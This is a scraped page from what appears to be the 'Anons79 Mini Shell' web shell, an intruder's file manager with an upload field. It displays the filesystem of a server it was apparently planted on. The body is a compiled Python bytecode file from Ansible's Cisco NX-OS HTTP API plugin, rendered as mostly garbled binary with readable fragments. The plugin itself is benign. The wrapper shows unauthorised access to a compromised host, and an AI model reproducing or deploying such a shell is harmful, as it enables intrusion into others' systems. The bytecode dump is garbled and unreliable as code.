Anons79 Mini Shell

Directory : /proc/self/root/lib/python2.7/site-packages/ansible/plugins/httpapi/
Upload File :
Current File : //proc/self/root/lib/python2.7/site-packages/ansible/plugins/httpapi/nxos.pyc

�
�Udac@`sddlmZmZmZeZdZddlZddlZddl	Z	ddl
mZddlm
Z
ddlmZddlmZidd	gd
6ddd
dgd6dddgd6dd	gd6Zdefd��YZd�Zdddd�ZdS(i(tabsolute_importtdivisiontprint_functions
---
author: Ansible Networking Team
httpapi: nxos
short_description: Use NX-API to run command on nxos platform
description:
  - This eos plugin provides low level abstraction api's for
    sending and receiving CLI commands with nxos network devices.
version_added: "2.6"
N(tto_text(tConnectionError(tto_list(tHttpApiBasettexttjsontformattlinetstricttexacttnonet
diff_matchtblocktconfigtdiff_replacetoutputtHttpApicB`sPeZd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z	RS(cO`s/tt|�j||�d|_i|_dS(N(tsuperRt__init__tNonet_device_infot_module_context(tselftargstkwargs((s@/usr/lib/python2.7/site-packages/ansible/plugins/httpapi/nxos.pyR%s	cC`s!|jj|�r|j|SdS(N(RtgetR(Rt
module_key((s@/usr/lib/python2.7/site-packages/ansible/plugins/httpapi/nxos.pytread_module_context*scC`s||j|<dS(N(RR(RRtmodule_context((s@/usr/lib/python2.7/site-packages/ansible/plugins/httpapi/nxos.pytsave_module_context0s
c	K`s4d}t�}t�}x�t|�D]�}|jdd�}t|t�rr|d}d|krx|d}qxn|}|jd�r�|jdd�d}d}n|r�||kr�|j|j	||��t�}n|}|j
|�q%W|r|j|j	||��nt|�dkr0|dS|S(	NRRtcommands| jsont|iiR(RtlistRRt
isinstancetdicttendswithtrsplittextendt
_run_queuetappendtlen(	Rtdatatmessage_kwargsRtqueuet	responsestitemt
cmd_outputR!((s@/usr/lib/python2.7/site-packages/ansible/plugins/httpapi/nxos.pytsend_request5s.		
	cC`s�|jr/|jjdd�|jdd�nt||�}idd6}|jjd|d|d	d
�\}}ytjt|j	���}Wn2t
k
r�tdjt|j	�����nXt
|�}|jr�|d}n|S(
Ntvvvvsfiring event: on_becomeitenablesapplication/jsonsContent-Types/instheaderstmethodtPOSTs$Response was not valid JSON, got {0}i(t_becomet
connectiont
queue_messagetinserttrequest_buildertsendRtloadsRtgetvaluet
ValueErrorRR	thandle_response(RR.RtrequestR5tresponset
response_datatresults((s@/usr/lib/python2.7/site-packages/ansible/plugins/httpapi/nxos.pyR)Vs	
'
		
cC`s�|jr|jSi}d|d<|jd�}|jd�}dddg}xC|D];}tj||tj�}|rT|jd�|d	<PqTqTWtjd
|tj�}|r�|jd�|d<ntjd|tj�}|r�|jd�|d
<ndddg}	xC|	D];}tj||tj�}
|
r|
jd�|d<PqqWtjd|tj�}|r�|jd�|d<n||_|jS(Ntnxost
network_ossshow versionsshow inventorys\s+system:\s+version\s*(\S+)s\s+kickstart:\s+version\s*(\S+)s\s+NXOS:\s+version\s*(\S+)itnetwork_os_versions Hardware\n\s+cisco\s*(\S+\s+\S+)tnetwork_os_models\s+Device name:\s*(\S+)tnetwork_os_hostnames \s+system image file is:\s*(\S+)s#\s+kickstart image file is:\s*(\S+)s\s+NXOS image file is:\s*(\S+)tnetwork_os_images7NAME: (?:"Chassis"| Chassis ),\s*DESCR:.*\nPID:\s*(\S+)tnetwork_os_platform(RR2tretsearchtMtgroup(Rtdevice_infotreplytplatform_replytfind_os_versiontregext	match_vertmatch_chassis_idtmatch_host_namet
find_os_imagetmatch_file_nametmatch_os_platform((s@/usr/lib/python2.7/site-packages/ansible/plugins/httpapi/nxos.pytget_device_infoms:	


	cC`s{|j�jdd�}itd6td6td6td6td6td6td	6td
6td6td6d
|krstntd6S(NRLttsupports_diff_replacetsupports_committsupports_rollbacktsupports_defaultstsupports_onbox_difftsupports_commit_commenttsupports_multiline_delimitertsupports_diff_matchtsupports_diff_ignore_linestsupports_generate_difft9Ktsupports_replace(R\RtTruetFalse(Rtplatform((s@/usr/lib/python2.7/site-packages/ansible/plugins/httpapi/nxos.pytget_device_operations�scC`sTi}g|d<|j�|d<|j�|d<|jt�d|d<tj|�S(NtrpcRQtdevice_operationstnxapitnetwork_api(R\RmtupdatetOPTIONSRtdumps(Rtresult((s@/usr/lib/python2.7/site-packages/ansible/plugins/httpapi/nxos.pytget_capabilities�s


(
t__name__t
__module__RRR R2R)R\RmRv(((s@/usr/lib/python2.7/site-packages/ansible/plugins/httpapi/nxos.pyR$s				!		'	cC`s�g}|djd�r�x�t|ddd�D]�}|ddkrstd|d|dfd|d��q2d	|kr2|d	}t|t�r�tj|�}n|j|j��q2q2Wn|S(
Ntins_apitoutputsRtcodet200s%s: %stinputtmsgtbody(	RRRR$R%RRtR*tstrip(RCRERRu((s@/usr/lib/python2.7/site-packages/ansible/plugins/httpapi/nxos.pyRA�s+
s1.0t0c
C`sYidd6dd6dd6dd6}|djd	�d
j�}||kr�||}g|D]}|jd	�dj�^q\}nMy||}Wn<tk
r�d|dj|j��f}	t|	��nXt|ttt	f�r�d
j|�}nt
j�}	||	d<||	d<||	d<||	d<||	d<d|	d<tj
td|	��S(s)Encodes a NXAPI JSON request message
    tcli_show_asciiRtcli_showRtbashtcli_confRiR"i����s/invalid format, received %s, expected one of %st,s ;tversionttypetchunktsidR}t
output_formatRy(tsplitR�tKeyErrortjointkeysRR$R#tsetttupletcollectionstOrderedDictRRtR%(
tcommandsRR�R�R�toutput_to_command_typetmaybe_outputtcommand_typeR!R~((s@/usr/lib/python2.7/site-packages/ansible/plugins/httpapi/nxos.pyR<�s2

/






(t
__future__RRRR�t
__metaclass__t
DOCUMENTATIONRRMR�tansible.module_utils._textRtansible.module_utils.connectionRt)ansible.module_utils.network.common.utilsRtansible.plugins.httpapiRRsRRARR<(((s@/usr/lib/python2.7/site-packages/ansible/plugins/httpapi/nxos.pyt<module>s"
�	

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]